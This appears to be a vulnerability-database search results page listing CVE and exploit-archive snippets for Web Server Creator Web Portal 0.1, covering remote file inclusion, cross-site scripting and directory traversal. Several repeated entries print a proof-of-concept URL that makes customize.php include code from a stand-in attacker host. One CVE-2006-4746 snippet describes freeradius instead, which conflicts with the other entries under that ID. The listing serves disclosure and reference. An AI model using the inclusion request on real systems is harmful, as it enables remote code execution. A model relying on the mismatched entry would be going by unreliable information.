45 matches found
CVE-2010-1114: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in Web Server Creator - Web Portal 0.1 allow remote attackers to execute arbitrary PHP code via a URL in the 1 pg parameter to index.php and the 2 path parameter to news/form.php...
CVE-2010-1113: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in the forum page in Web Server Creator - Web Portal 0.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors to index.php...
CVE-2010-1115: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in news/include/customize.php in Web Server Creator - Web Portal 0.1 allows remote attackers to read arbitrary files via a .. dot dot in the l parameter...
Web Server Creator Web Portal 0.1 - Multiple Vulnerabilities
======================================================================================== | Title : Web Server Creator - Web Portal v 0.1 Multi Vulnerability | Author : indoushka | email : [email protected] | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | Web Site :...
Remote file inclusion
PHP remote file inclusion vulnerability in news/include/createdb.php in Web Server Creator Web Portal 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the langfile parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third part...
CVE-2008-6545
CVE-2008-6545 : The in-scope documents describe a PHP remote file inclusion vulnerability in the Web Server Creator Web Portal 0.1, exploitable via the langfile parameter in news/include/createdb.php to execute arbitrary PHP code. Affected software is Web Server Creator Web Portal 0.1; the root c...
CVE-2008-6545: Improper Control of Generation of Code
PHP remote file inclusion vulnerability in news/include/createdb.php in Web Server Creator Web Portal 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the langfile parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third part...
Web Server Creator 0.1 - langfile Remote File Inclusion
Web Server Creator 0.1 - langfile Remote File Inclusion source: https://www.securityfocus.com/bid/28631/info Web Server Creator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise t...
Web Server Creator 0.1 - 'langfile' Remote File Inclusion
source: https://www.securityfocus.com/bid/28631/info Web Server Creator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks...
CVE-2006-4746
PHP remote file inclusion vulnerability in news/include/customize.php in Web Server Creator 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...
CVE-2006-4746
PHP remote file inclusion vulnerability in news/include/customize.php in Web Server Creator 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...
CVE-2006-4746
CVE-2006-4746 is reported in freeradius with multiple buffer overflows that can lead to denial of service. The OpenVAS advisory describes these issues as remote vulnerabilities in freeradius, potentially affecting various architectures and configurations. Debian security advisory DSA-1145-1 refer...
wsc01.txt
Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit: http://www.site.com/path/news/include/customize.php?l=http://evilscripts? Greetz: str0ke,...
CVE-2006-4746: Undefined Security Weakness
PHP remote file inclusion vulnerability in news/include/customize.php in Web Server Creator 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...
CVE-2002-2217
The CVE-2002-2217 issue affects Web Server Creator - Web Portal (WSC-WebPortal) 0.1. An attacker can trigger remote PHP code execution by supplying a URL in the l parameter to customize.php or the pg parameter to index.php, exploiting PHP remote file inclusion. The PT-2002-2929 entry corroborates...
CVE-2002-2217
Multiple PHP remote file inclusion vulnerabilities in Web Server Creator - Web Portal WSC-WebPortal 0.1 allow remote attackers to execute arbitrary PHP code via a URL in the 1 l parameter to customize.php or the 2 pg parameter to index.php...
CVE-2002-2217: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in Web Server Creator - Web Portal WSC-WebPortal 0.1 allow remote attackers to execute arbitrary PHP code via a URL in the 1 l parameter to customize.php or the 2 pg parameter to index.php...
Web Server Creator v0.1 (l) Remote Include Vulnerability
Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit: http://www.site.com/path/news/include/customize.php?l=http://evilscripts? Greetz: str0ke,...
Web Server Creator v0.1 (l) Remote Include Vulnerability
Exploit for unknown platform in category web applications ======================================================== Web Server Creator v0.1 l Remote Include Vulnerability ======================================================== Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON...
Web Server Creator 0.1 - l Remote File Inclusion
Web Server Creator 0.1 - l Remote File Inclusion Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit:...